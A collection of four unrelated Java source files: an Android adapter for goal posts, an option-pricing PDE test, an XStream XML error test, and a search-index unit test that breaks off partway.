|
package org.missionassetfund.apps.android.adapters;
import java.util.List;
import java.util.Locale;
import org.missionassetfund.apps.android.R;
import org.missionassetfund.apps.android.activities.LCDetailsActivity;
import org.missionassetfund.apps.android.interfaces.SaveCommentListener;
import org.missionassetfund.apps.android.models.Comment;
import org.missionassetfund.apps.android.models.Goal;
import org.missionassetfund.apps.android.models.Post;
import org.missionassetfund.apps.android.models.PostType;
import org.missionassetfund.apps.android.models.User;
import org.missionassetfund.apps.android.utils.CurrencyUtils;
import org.missionassetfund.apps.android.utils.FormatterUtils;
import org.missionassetfund.apps.android.utils.MAFDateUtils;
import org.missionassetfund.apps.android.utils.ModelUtils;
import android.annotation.SuppressLint;
import android.content.Context;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.view.inputmethod.EditorInfo;
import android.widget.ArrayAdapter;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.TextView.OnEditorActionListener;
public class GoalPostsAdapter extends ArrayAdapter<Post> {
private final Goal goal;
public GoalPostsAdapter(Context context, Goal goal, List<Post> posts) {
super(context, R.layout.item_lc_post, posts);
this.goal = goal;
}
@SuppressLint("ViewHolder")
@Override
public View getView(int position, View convertView, ViewGroup parent) {
final Post post = getItem(position);
// TODO use viewholder
convertView = LayoutInflater.from(getContext()).inflate(
R.layout.item_lc_post, parent, false);
populatePostViews(post, convertView);
// comments
// LinearLayout llComments = (LinearLayout)
// convertView.findViewById(R.id.llComents);
// llComments.removeAllViews();
// List<Comment> comments = (List<Comment>) post.get("comments");
// if (comments != null) {
// for (Comment comment : comments) {
// View commentView = LayoutInflater.from(getContext()).inflate(
// R.layout.item_lc_comment, parent, false);
// populateCommentView(comment, commentView);
// llComments.addView(commentView);
// New Comment input
// View newCommentView = LayoutInflater.from(getContext()).inflate(
// R.layout.item_lc_create_comment, parent, false);
// populateNewCommentInputView(newCommentView, post);
// llComments.addView(newCommentView);
return convertView;
}
private void populatePostViews(Post post, View convertView) {
ImageView ivPosterProfile = (ImageView) convertView.findViewById(R.id.ivPosterProfile);
TextView tvNumberOfComments = (TextView) convertView.findViewById(R.id.tvNumberOfComments);
ImageView ivPostType = (ImageView) convertView.findViewById(R.id.ivPostType);
TextView tvPostText = (TextView) convertView.findViewById(R.id.tvPostText);
TextView tvPaymentDue = (TextView) convertView.findViewById(R.id.tvPaymentDue);
TextView tvPostReminderText = (TextView) convertView.findViewById(R.id.tvPostReminderText);
if (post.getType() == PostType.REMINDER) {
// special MAF post render differently
ivPosterProfile.setImageResource(R.drawable.profile_13);
// set human-friendly due dates
tvPostReminderText.setText(getContext().getString(R.string.lc_item_due_date,
FormatterUtils.formatMonthDate(goal.getNextPaymentDate())));
tvPostReminderText.setVisibility(View.VISIBLE);
tvPostText.setVisibility(View.GONE);
// Payment Due for reminders
tvPaymentDue.setText(CurrencyUtils.getCurrencyValueFormatted(goal.getPaymentAmount()));
tvPaymentDue.setVisibility(View.VISIBLE);
} else if (post.getType() == PostType.EVENT) {
// TODO: clean this up. Hack for demo day.
// special MAF post render differently
ivPosterProfile.setImageResource(R.drawable.profile_13);
// Post type
ivPostType.setImageResource(ModelUtils.getImageForPostType(post));
// Post content
tvPostText.setText(post.getContent());
tvPaymentDue.setVisibility(View.GONE);
} else {
// Profile Image
ivPosterProfile.setImageResource(ModelUtils.getImageResourceForUser(post.getUser()));
// Has comments?
List<Comment> comments = (List<Comment>) post.get("comments");
if (comments != null && comments.size() > 0) {
tvNumberOfComments.setText(String.valueOf(comments.size()));
tvNumberOfComments.setVisibility(View.VISIBLE);
}
// Post type
ivPostType.setImageResource(ModelUtils.getImageForPostType(post));
// Post content
tvPostText.setText(post.getContent());
tvPaymentDue.setVisibility(View.GONE);
}
}
private void populateCommentView(Comment comment, View commentView) {
// Commenter profile Image
ImageView ivCommenterProfile = (ImageView) commentView
.findViewById(R.id.ivCommenterProfile);
ivCommenterProfile.setImageResource(ModelUtils.getImageResourceForUser(comment.getUser()));
// Commenter Name
TextView tvCommenterName = (TextView)
commentView.findViewById(R.id.tvCommenterName);
tvCommenterName.setText(comment.getUser().getName());
// comment Text
TextView tvCommentText = (TextView)
commentView.findViewById(R.id.tvCommentText);
tvCommentText.setText(comment.getContent());
}
private void populateNewCommentInputView(View newCommentView, final Post post) {
// User's image
ImageView ivPosterProfile = (ImageView) newCommentView.findViewById(R.id.ivPosterProfile);
ivPosterProfile.setImageResource(ModelUtils.getImageResourceForUser((User) User
.getCurrentUser()));
final EditText etComment = (EditText) newCommentView.findViewById(R.id.etComment);
etComment.setOnEditorActionListener(new OnEditorActionListener() {
@Override
public boolean onEditorAction(TextView v, int actionId, KeyEvent event) {
boolean handled = false;
if (actionId == EditorInfo.IME_ACTION_SEND) {
SaveCommentListener saveCommentListener = (SaveCommentListener) (LCDetailsActivity) getContext();
saveCommentListener.onSaveComment(
post.getObjectId(), etComment.getText().toString());
handled = true;
}
return handled;
}
});
}
}
|
package com.opengamma.analytics.financial.model.finitedifference.applications;
import static org.testng.AssertJUnit.assertEquals;
import static org.testng.AssertJUnit.assertTrue;
import org.testng.annotations.Test;
import com.opengamma.analytics.financial.model.option.pricing.analytic.BjerksundStenslandModel;
import com.opengamma.analytics.financial.model.volatility.BlackFormulaRepository;
import com.opengamma.util.test.TestGroup;
/**
* Test.
*/
@Test(groups = TestGroup.UNIT_SLOW)
public class BlackScholesMertonPDEPricerTest {
private static final BjerksundStenslandModel AMERICAN_APPOX_PRCIER = new BjerksundStenslandModel();
private static final BlackScholesMertonPDEPricer PRICER = new BlackScholesMertonPDEPricer();
/**
* This tests that the run time scales as the grid size for moderately sized grids. The grid size is the total number of nodes in the grid (#space nodes x #time nodes)
* and moderately sized means between 1e5 and 1e9 nodes (e.g. from 100 time nodes and 1000 space nodes to 1e4 time and 1e5 space nodes).
* We also test that the relative error is inversely proportional to the grid size; the constant of proportionality depends on nu (the ration of space nodes to time nodes) and
* is lowest for nu = 125 in this case.
*/
@Test
public void speedAccuracyTest() {
final double s0 = 10.0;
final double k = 13.0;
final double r = 0.06;
final double b = 0.04;
final double t = 1.75;
final double sigma = 0.5;
final boolean isCall = true;
// warm-up
double nu = 125;
int tSteps = 100;
int sSteps = (int) (nu * tSteps);
double pdePDE = PRICER.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps);
nu = 125;
// double scale = 0;
for (int i = 0; i < 5; i++) {
tSteps = (int) (100 + Math.pow(10.0, (i + 6.0) / 4.0));
sSteps = (int) (nu * tSteps);
final double size = tSteps * sSteps;
final double bsPrice = Math.exp(-r * t) * BlackFormulaRepository.price(s0 * Math.exp(b * t), k, t, sigma, isCall);
// double startTime = System.nanoTime();
pdePDE = PRICER.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps);
// double endTime = System.nanoTime();
// double duration = endTime - startTime; // in ns
final double relErr = Math.abs(1 - pdePDE / bsPrice);
// System.out.println(tSteps + "\t" + sSteps + "\t" + duration + "\t" + ((double) tSteps) * sSteps + "\t" + relErr);
//Removed because fails on bamboo
// check correct scaling of run time with grid size
// if (i == 0) {
// scale = duration / size; // time per node (ns/node)
// } else {
// assertTrue("runtime not scaling linearly with grid size\t" + duration / size + "\t" + scale, Math.abs(duration / size - scale) < 0.4 * scale);
// check correct scaling of error with grid size
final double logErrorCeil = Math.log10(1.25 / size);
final double logRelError = Math.log10(relErr);
assertTrue("error exceeds ceiling " + logRelError + "\t" + logErrorCeil, logRelError < logErrorCeil);
assertEquals("error smaller than expected", logErrorCeil, logRelError, 1e-1);
}
}
/**
* Test that a wide range of European options price to reasonable accuracy on a moderately sized grid
*/
@Test
public void europeanTest() {
final double s0 = 10.0;
final double[] kSet = {7.0, 9.0, 10.0, 13.0, 17.0 };
final double[] rSet = {0.0, 0.04, 0.2 };
final double[] qSet = {-0.05, 0.0, 0.1 };
final double[] tSet = {0.1, 2.0 };
final double sigma = 0.3;
final boolean[] isCallSet = {true, false };
final int tSteps = 100;
final int nu = 80;
final int sSteps = nu * tSteps;
for (final double k : kSet) {
for (final double r : rSet) {
for (final double q : qSet) {
final double b = r - q;
for (final double t : tSet) {
for (final boolean isCall : isCallSet) {
final double bsPrice = Math.exp(-r * t) * BlackFormulaRepository.price(s0 * Math.exp(b * t), k, t, sigma, isCall);
final double pdePDE = PRICER.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps);
final double absErr = Math.abs(pdePDE - bsPrice);
final double relErr = Math.abs(1 - pdePDE / bsPrice);
// System.out.println(k + "\t" + r + "\t" + q + "\t" + t + "\t" + isCall + "\t" + bsPrice + "\t" + pdePDE + "\t" + absErr + "\t" + relErr);
if (k < 17.0) {
assertTrue(k + "\t" + r + "\t" + q + "\t" + t + "\t" + isCall + "\t" + bsPrice + "\t" + pdePDE + "\t" + absErr + "\t" + relErr, absErr < 3e-5);
} else {
assertTrue(k + "\t" + r + "\t" + q + "\t" + t + "\t" + isCall + "\t" + bsPrice + "\t" + pdePDE + "\t" + absErr + "\t" + relErr, absErr < 1e-4);
}
}
}
}
}
}
}
/**
* Test that a wide range of American options price to within the accuracy of the Bjerksund-Stensland approximation on a moderately sized grid
*/
@Test(enabled = false)
public void americanTest() {
final double s0 = 10.0;
final double[] kSet = {7.0, 9.0, 10.0, 13.0, 17.0 };
final double[] rSet = {0.0, 0.04, 0.2 };
final double[] qSet = {-0.05, 0.0, 0.1 };
final double[] tSet = {0.05, 0.25 };
final double sigma = 0.3;
final boolean[] isCallSet = {true, false };
// The Bjerksund-Stensland approximation is not that accurate, so there is no point using a fine grid for this test
final int tSteps = 80;
final int nu = 20;
final int sSteps = nu * tSteps;
for (final double k : kSet) {
for (final double r : rSet) {
for (final double q : qSet) {
final double b = r - q;
for (final double t : tSet) {
for (final boolean isCall : isCallSet) {
final double bsPrice = Math.exp(-r * t) * BlackFormulaRepository.price(s0 * Math.exp(b * t), k, t, sigma, isCall);
final double amAprox = AMERICAN_APPOX_PRCIER.price(s0, k, r, b, t, sigma, isCall);
final double pdePrice = PRICER.price(s0, k, r, b, t, sigma, isCall, true, sSteps, tSteps);
// Bjerksund-Stensland approximation set a lower limit for the price of an American option, thus the PDE price should always exceed it
assertTrue(k + "\t" + r + "\t" + q + "\t" + t + "\t" + isCall + "\t" + bsPrice + "\t" + amAprox + "\t" + pdePrice, (pdePrice - amAprox) > -5e-6);
final double absErr = Math.abs(pdePrice - amAprox);
final double relErr = Math.abs(1 - pdePrice / amAprox);
// System.out.println(k + "\t" + r + "\t" + q + "\t" + t + "\t" + isCall + "\t" + amAprox + "\t" + pdePDE + "\t" + absErr + "\t" + relErr);
assertTrue(k + "\t" + r + "\t" + q + "\t" + t + "\t" + isCall + "\t" + amAprox + "\t" + pdePrice + "\t" + absErr + "\t" + relErr, absErr < 1e-2);
}
}
}
}
}
}
@Test
public void nonuniformGridTest() {
final double s0 = 10.0;
final double k = 13.0;
final double r = 0.06;
final double b = 0.04;
final double t = 1.75;
final double sigma = 0.5;
final boolean isCall = false;
final double beta = 0.01;
final double lambda = 0.0;
final double sd = 6.0;
final int tSteps = 100;
final double nu = 10;
final int sSteps = (int) (nu * tSteps);
final double bsPrice = Math.exp(-r * t) * BlackFormulaRepository.price(s0 * Math.exp(b * t), k, t, sigma, isCall);
final double pdePrice1 = PRICER.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps);
final double pdePrice2 = PRICER.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps, beta, lambda, sd);
final double relErr1 = Math.abs(pdePrice1 / bsPrice - 1.0);
final double relErr2 = Math.abs(pdePrice2 / bsPrice - 1.0);
//System.out.println(tSteps + "\t" + sSteps + "\t" + ((double) tSteps) * sSteps + "\t" + bsPrice + "\t" + pdePrice1 + "\t" + pdePrice2 + "\t" + relErr1 + "\t" + relErr2);
assertEquals(0, relErr1, 5e-4);
assertEquals(0, relErr2, 2e-6); // much better accuracy with non-uniform
}
@Test(enabled = false)
public void optNuTest() {
final double s0 = 10.0;
final double k = 13.0;
final double r = 0.06;
final double b = 0.04;
final double t = 1.75;
final double sigma = 0.5;
final boolean isCall = true;
// warm-up
final double nu = 80;
int tSteps = 100;
int sSteps = (int) (nu * tSteps);
double pdePDE = PRICER.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps);
final double[] nuSet = new double[] {1, 2, 5, 10, 20, 40, 60, 80, 100, 125, 150, 200, 500 };
final int n = (int) 1e9;
for (final double nu1 : nuSet) {
tSteps = (int) Math.sqrt(n / nu1);
sSteps = n / tSteps;
final double bsPrice = Math.exp(-r * t) * BlackFormulaRepository.price(s0 * Math.exp(b * t), k, t, sigma, isCall);
final double startTime = System.nanoTime() / 1e6;
pdePDE = PRICER.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps);
final double endTime = System.nanoTime() / 1e6;
final double duration = endTime - startTime;
final double relErr = Math.abs(1 - pdePDE / bsPrice);
System.out.println(tSteps + "\t" + sSteps + "\t" + duration + "\t" + nu1 + "\t" + relErr);
}
}
@Test(enabled = false)
public void unifromGridAmericanCallTest() {
final double s0 = 90;
final double k = 100;
final double r = -1e-5;
final double b = 0.04;
final double sigma = 0.35;
final double t = 0.5;
final boolean isCall = false;
// final double r = 1e-6 + b - 0.5 * (2 * b + sigma * sigma) * (2 * b + sigma * sigma) / 4 / sigma / sigma;
System.out.println(r + "\t" + b + "\t" + -0.5 * sigma * sigma * (b / sigma / sigma - 0.5) * (b / sigma / sigma - 0.5));
final int tSteps = 100;
final int nu = 80;
final int sSteps = nu * tSteps;
// for (int i = 0; i < 50; i++) {
// r = -0.08 + 0.1 * i / 49.0;
// b = -0.02 + 0.12 * i / 49.0;
// b = 0.061;
final double bsPrice = Math.exp(-r * t) * BlackFormulaRepository.price(s0 * Math.exp(b * t), k, t, sigma, isCall);
final double bsPrice2 = Math.exp(-(r - b) * t) * BlackFormulaRepository.price(k * Math.exp(-b * t), s0, t, sigma, !isCall);
final double amAprox = AMERICAN_APPOX_PRCIER.price(s0, k, r, b, t, sigma, isCall);
final double pdePrice = PRICER.price(s0, k, r, b, t, sigma, isCall, true, sSteps, tSteps);
final double pdePricePC = 0.0; // PRICER.price(k, s0, r - b, -b, t, sigma, !isCall, true, sSteps, tSteps);
System.out.println(b + "\t" + bsPrice + "\t" + bsPrice2 + "\t" + amAprox + "\t" + pdePrice + "\t" + pdePricePC + "\t" + (1 - pdePrice / bsPrice));
}
@Test(enabled = false)
public void debugTest() {
System.out.println("BlackScholesMertonPDEPricerTest.debugTest");
final BjerksundStenslandModel amPricer = new BjerksundStenslandModel();
final BlackScholesMertonPDEPricer pricer = new BlackScholesMertonPDEPricer(false);
final double s0 = 10.0;
final double k = 7.0;
final double r = 0.2;
final double b = 0.1;
final double t = 2.0;
final double sigma = 0.3;
final boolean isCall = false;
final boolean isAmerican = true;
final double nu = 80;
final int tSteps = 500;
final int sSteps = (int) (nu * tSteps);
// warm-up
pricer.price(s0, k, r, b, t, sigma, isCall, false, sSteps, tSteps);
final double df = Math.exp(-r * t);
final double fwd = s0 * Math.exp(b * t);
final double bsPrice = df * BlackFormulaRepository.price(fwd, k, t, sigma, isCall);
final double startTime = System.nanoTime() / 1e6;
final double pdePrice = pricer.price(s0, k, r, b, t, sigma, isCall, isAmerican, sSteps, tSteps);
final double endTime = System.nanoTime() / 1e6;
final double duration = endTime - startTime;
final double amPrice = amPricer.price(s0, k, r, b, t, sigma, isCall);
final double relErr = Math.abs(1 - pdePrice / amPrice);
System.out.println(tSteps + "\t" + sSteps + "\t" + duration + df * fwd + "\t" + amPrice + "\t" + pdePrice + "\t" + relErr);
}
}
|
package com.thoughtworks.acceptance;
import com.thoughtworks.xstream.converters.ConversionException;
import com.thoughtworks.xstream.io.StreamException;
public class ErrorTest extends AbstractAcceptanceTest {
class Thing {
String one;
int two;
}
protected void setUp() throws Exception {
super.setUp();
xstream.alias("thing", Thing.class);
}
public void testUnmarshallerThrowsExceptionWithDebuggingInfo() {
try {
xstream.fromXML("<thing>\n" +
" <one>string 1</one>\n" +
" <two>another string</two>\n" +
"</thing>");
fail("Error expected");
} catch (ConversionException e) {
assertEquals("java.lang.NumberFormatException",
e.get("exception"));
assertEquals("For input string: \"another string\"",
e.get("message"));
assertEquals(Thing.class.getName(),
e.get("class"));
assertEquals("/thing/two",
e.get("path"));
assertEquals("3",
e.get("line number"));
assertEquals("java.lang.Integer",
e.get("required-type"));
}
}
public void testInvalidXml() {
try {
xstream.fromXML("<thing>\n" +
" <one>string 1</one>\n" +
" <two><<\n" +
"</thing>");
fail("Error expected");
} catch (ConversionException e) {
assertEquals(StreamException.class.getName(),
e.get("exception"));
assertContains("unexpected character in markup",
e.get("message"));
assertEquals("/thing/two",
e.get("path"));
assertEquals("3",
e.get("line number"));
}
}
private void assertContains(String expected, String actual) {
assertTrue("Substring not found. Expected <" + expected + "> but got <" + actual + ">",
actual.indexOf(expected) > -1);
}
}
|
package com.google.sps;
import com.google.common.collect.ImmutableMap;
import com.google.common.collect.ImmutableList;
import com.google.sps.data.Event;
import com.google.sps.data.Keyword;
import com.google.sps.store.SearchStore;
import com.google.sps.utilities.KeywordHelper;
import com.google.sps.utilities.SpannerClient;
import com.google.sps.utilities.SpannerTasks;
import com.google.sps.utilities.SpannerTestTasks;
import com.google.sps.utilities.TestUtils;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Map;
import javax.servlet.ServletContextEvent;
import org.junit.Assert;
import org.junit.Before;
import org.junit.After;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
import org.mockito.Mockito;
import org.springframework.mock.web.MockServletContext;
/** Unit tests for adding new events to search index and retrieving search results. */
@RunWith(JUnit4.class)
public class SearchStoreTest {
private SearchStore searchStore;
private KeywordHelper mockKeywordHelper;
private static final String EVENT_ID_1 = TestUtils.newRandomId();
private static final String EVENT_ID_2 = TestUtils.newRandomId();
private static final String GAMES = "games";
private static final String NAME_WITHOUT_GAMES = "End of the Year Picnic";
private static final String DESCRIPTION_WITHOUT_GAMES =
"Sutter Middle School will be walking to McKinley Park. 7th grade class and teachers will"
+ " have a picnic and eat lunch at the park and Clunie Pool.";
private static final String NAME_WITH_GAMES = "End of the Year Picnic and Games";
private static final String DESCRIPTION_WITH_GAMES =
"Sutter Middle School will be walking to McKinley Park. 7th grade class and teachers will"
+ " have a picnic, play games, and eat lunch at the park and Clunie Pool.";
private static final ImmutableList<Keyword> KEYWORDS_NAME_WITHOUT_GAMES =
ImmutableList.of(new Keyword("picnic", 1.00f));
private static final ImmutableList<Keyword> KEYWORDS_NAME_WITH_GAMES =
ImmutableList.of(new Keyword("picnic", 0.56f), new Keyword(GAMES, 0.44f));
private static final ImmutableList<Keyword> KEYWORDS_DESCRIPTION_WITHOUT_GAMES = ImmutableList.of(
new Keyword("Sutter Middle School", 0.43f), new Keyword("McKinley Park", 0.14f),
new Keyword("teachers", 0.10f), new Keyword("class", 0.10f), new Keyword("picnic", 0.09f),
new Keyword("park", 0.08f), new Keyword("lunch", 0.03f), new Keyword("Clunie Pool", 0.03f));
private static final ImmutableList<Keyword> KEYWORDS_DESCRIPTION_WITH_GAMES = ImmutableList.of(
new Keyword("Sutter Middle School", 0.41f), new Keyword("McKinley Park", 0.13f),
new Keyword("teachers", 0.09f), new Keyword("class", 0.09f), new Keyword("picnic", 0.09f),
new Keyword("park", 0.08f), new Keyword("lunch", 0.07f), new Keyword(GAMES, 0.01f),
new Keyword("Clunie Pool", 0.03f));
private static final String DESCRIPTION_WITH_GAMES_IN_LOW_RELEVANCE =
"Sutter Middle School will be walking to McKinley Park. 7th grade class and teachers will"
+ " have a picnic, play games, and eat lunch at the park and Clunie Pool.";
private static final ImmutableList<Keyword> KEYWORDS_DESCRIPTION_WITH_GAMES_IN_LOW_RELEVANCE =
ImmutableList.of(new Keyword("Sutter Middle School", 0.41f),
new Keyword("McKinley Park", 0.13f), new Keyword("teachers", 0.09f),
new Keyword("class", 0.09f), new Keyword("picnic", 0.09f), new Keyword("park", 0.08f),
new Keyword("lunch", 0.07f), new Keyword(GAMES, 0.01f),
new Keyword("Clunie Pool", 0.03f));
private static final String DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE =
"Community harvest festival with games, food, and candy. Event open to the public 5pm-9pm."
+ "Complete full closure for 700 attendees.";
private static final ImmutableList<Keyword> KEYWORDS_DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE =
ImmutableList.of(new Keyword("Community Harvest festival", 0.40f), new Keyword(GAMES, 0.17f),
new Keyword("food", 0.17f), new Keyword("candy", 0.12f), new Keyword("Event", 0.06f),
new Keyword("closure", 0.04f), new Keyword("attendees", 0.03f));
private static final String NAME_WITH_GAMES_IN_HIGH_RELEVANCE =
"End of the Year Games and Picnic";
private static final ImmutableList<Keyword> KEYWORDS_NAME_WITH_GAMES_IN_HIGH_RELEVANCE =
ImmutableList.of(new Keyword("picnic", 0.56f), new Keyword(GAMES, 0.17f));
private static final String NAME_WITHOUT_FOOD_VENDORS = "Wednesday Cesar Chavez Farmers' Market";
private static final ImmutableList<Keyword> KEYWORDS_NAME_WITHOUT_FOOD_VENDORS =
ImmutableList.of(new Keyword("farmers' market", 0.54f), new Keyword("cesar chavez", 0.26f));
private static final String DESCRIPTION_WITH_FOOD_VENDORS =
"Weekly farmers' market with certified growers and hot food vendors."
+ "Event hours are 10am to 1:30pm.";
private static final ImmutableList<Keyword> KEYWORDS_DESCRIPTION_WITH_FOOD_VENDORS =
ImmutableList.of(new Keyword("farmers' market", 0.36f), new Keyword("food vendors", 0.26f),
new Keyword("growers", 0.26f), new Keyword("Event", 0.12f));
private static final String FOOD = "food";
private static final ImmutableMap<String, String> TOKENS_NAME_WITHOUT_FOOD_VENDORS =
ImmutableMap.<String, String>builder()
.put("wednesday", "wednesday")
.put("cesar", "cesar")
.put("chavez", "chavez")
.put("farmers", "farmer")
.put("'", "'")
.put("market", "market")
.build();
private static final ImmutableMap<String, String> TOKENS_DESCRIPTION_WITH_FOOD_VENDORS =
ImmutableMap.<String, String>builder()
.put("Weekly", "Weekly")
.put("farmers", "farmer")
.put("'", "'")
.put("market", "market")
.put("with", "with")
.put("certified", "certified")
.put("growers", "grower")
.put("and", "and")
.put("hot", "hot")
.put("food", "food")
.put("vendors", "vendor")
.put(".", ".")
.build();
private static final String VENDOR = "vendor";
private static final String NAME_WITHOUT_GROWERS = "Wednesday Cesar Chavez Farmers' Market";
private static final ArrayList<Keyword> KEYWORDS_NAME_WITHOUT_GROWERS = new ArrayList<Keyword>(
Arrays.asList(new Keyword("farmers' market", 0.54f), new Keyword("cesar chavez", 0.26f)));
private static final String DESCRIPTION_WITH_GROWERS =
"Weekly farmers' market with certified growers and hot food vendors."
+ "Event hours are 10am to 1:30pm.";
private static final ArrayList<Keyword> KEYWORDS_DESCRIPTION_WITH_GROWERS =
new ArrayList<Keyword>(
Arrays.asList(new Keyword("farmers' market", 0.36f), new Keyword("food vendors", 0.26f),
new Keyword("growers", 0.26f), new Keyword("Event", 0.12f)));
private static final ImmutableMap<String, String> TOKENS_NAME_WITHOUT_GROWERS = ImmutableMap.<String, String>builder()
.put("wednesday", "wednesday")
.put("cesar", "cesar")
.put("chavez", "chavez")
.put("farmers", "farmer")
.put("'", "'")
.put("market", "market")
.build();
private static final ImmutableMap<String, String> TOKENS_DESCRIPTION_WITH_GROWERS =
ImmutableMap.<String, String>builder()
.put("Weekly", "Weekly")
.put("farmers", "farmer")
.put("'", "'")
.put("market", "market")
.put("with", "with")
.put("certified", "certified")
.put("growers", "grower")
.put("and", "and")
.put("hot", "hot")
.put("food", "food")
.put("vendors", "vendor")
.put(".", ".")
.build();
private static final String NAME_WITH_FOOD_VENDORS = "Wednesday Cesar Chavez Farmers' Market with Food Vendors";
private static final ImmutableList<Keyword> KEYWORDS_NAME_WITH_FOOD_VENDORS =
ImmutableList.of(new Keyword("farmers' market", 0.40f), new Keyword("cesar chavez", 0.26f), new Keyword("cesar chavez", 0.22f));
private static final ImmutableMap<String, String> TOKENS_NAME_WITH_FOOD_VENDORS =
ImmutableMap.<String, String>builder()
.put("wednesday", "wednesday")
.put("cesar", "cesar")
.put("chavez", "chavez")
.put("farmers", "farmer")
.put("'", "'")
.put("market", "market")
.put("with", "with")
.put("food", "food")
.put("vendors", "vendor")
.build();
private static final String GROWER = "grower";
@Before
public void setUp() throws Exception {
// Mock a request to trigger the SpannerClient setup to run.
MockServletContext mockServletContext = new MockServletContext();
new SpannerClient().contextInitialized(new ServletContextEvent(mockServletContext));
SpannerTestTasks.setup();
mockKeywordHelper = Mockito.mock(KeywordHelper.class);
searchStore = new SearchStore(mockKeywordHelper);
}
@After
public void tearDown() throws Exception {
SpannerTestTasks.cleanup();
}
/**
* Add event to the index and check that search for keyword not relevant
* in the event name or description does not appear in the results.
*/
@Test
public void oneEvent_KeywordNotRelevantInEventNameOrDescription_noResultsReturned()
throws IOException {
// ID | Name Has Games | Description Has Games
// 1 No No
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITHOUT_GAMES));
// On the first call the getKeywords for name, return empty list
// On the second call the getKeyords for description, return empty list
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(KEYWORDS_NAME_WITHOUT_GAMES, KEYWORDS_DESCRIPTION_WITHOUT_GAMES);
searchStore.addEventToIndex(EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITHOUT_GAMES);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertEquals(Arrays.asList(), actualResults);
}
@Test
public void oneEvent_keywordRelevantInNameEventInPast_noResultsReturned() throws IOException {
// ID | Name Has Games | Description Has Games
// 1 Yes No
SpannerTasks.insertorUpdateEvent(TestUtils.newEventWithPastDate());
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(KEYWORDS_NAME_WITH_GAMES, KEYWORDS_DESCRIPTION_WITHOUT_GAMES);
searchStore.addEventToIndex(EVENT_ID_1, NAME_WITH_GAMES, DESCRIPTION_WITHOUT_GAMES);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertEquals(Arrays.asList(), actualResults);
}
@Test
public void oneEvent_keywordRelevantInNameEventInFuture_oneResultReturned() throws IOException {
// ID | Name Has Games | Description Has Games
// 1 Yes No
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(EVENT_ID_1, NAME_WITH_GAMES, DESCRIPTION_WITHOUT_GAMES));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(KEYWORDS_NAME_WITH_GAMES, KEYWORDS_DESCRIPTION_WITHOUT_GAMES);
searchStore.addEventToIndex(EVENT_ID_1, NAME_WITH_GAMES, DESCRIPTION_WITHOUT_GAMES);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertEquals(EVENT_ID_1, actualResults.get(0).getId());
Assert.assertEquals(NAME_WITH_GAMES, actualResults.get(0).getName());
Assert.assertEquals(
DESCRIPTION_WITHOUT_GAMES, actualResults.get(0).getDescription());
}
@Test
public void twoEvents_tieInRelevanceInDescriptionOfBothEvents_twoResultsReturnedAnyOrder()
throws IOException {
// ID | Name Has Games | Description Has Games
// 1 No Yes
// 2 No Yes
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(EVENT_ID_1, NAME_WITH_GAMES, DESCRIPTION_WITHOUT_GAMES));
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(EVENT_ID_2, NAME_WITH_GAMES, DESCRIPTION_WITHOUT_GAMES));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITHOUT_GAMES,
KEYWORDS_DESCRIPTION_WITH_GAMES,
// Keywords for Event with ID 2
KEYWORDS_NAME_WITHOUT_GAMES,
KEYWORDS_DESCRIPTION_WITH_GAMES);
searchStore.addEventToIndex(EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES);
searchStore.addEventToIndex(EVENT_ID_2, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES);
List<Event> actualResults = searchStore.getSearchResults(GAMES);
Assert.assertTrue(
((EVENT_ID_1.equals(actualResults.get(0).getId())
&& EVENT_ID_2.equals(actualResults.get(1).getId()))
|| (EVENT_ID_2.equals(actualResults.get(0).getId())
&& EVENT_ID_1.equals(actualResults.get(1).getId())))
&& NAME_WITH_GAMES.equals(actualResults.get(0).getName())
&& NAME_WITH_GAMES.equals(actualResults.get(1).getName())
&& DESCRIPTION_WITHOUT_GAMES.equals(actualResults.get(0).getDescription())
&& DESCRIPTION_WITHOUT_GAMES.equals(actualResults.get(1).getDescription()));
}
@Test
public void
twoEvents_firstWithKeywordLowRelevanceInDesc_secondWithKeywordHighRelevanceInDesc_returnsSecondEventBeforeFirst()
throws IOException {
// ID | Name Has Games | Description Has Games
// 1 | No | Yes - LOW relevance
// 2 | No | Yes - HIGH relevance
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_1, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_LOW_RELEVANCE));
SpannerTasks.insertorUpdateEvent(
TestUtils.newEventWithFutureDate(
EVENT_ID_2, NAME_WITHOUT_GAMES, DESCRIPTION_WITH_GAMES_IN_HIGH_RELEVANCE));
Mockito.when(mockKeywordHelper.getKeywords())
.thenReturn(
// Keywords for Event with ID 1
KEYWORDS_NAME_WITHOUT_GAMES,
KEYWORDS_DESCRIPTION_WITH_GAMES_IN_LOW_RELEVANCE,
// Keywords for Event with ID 2
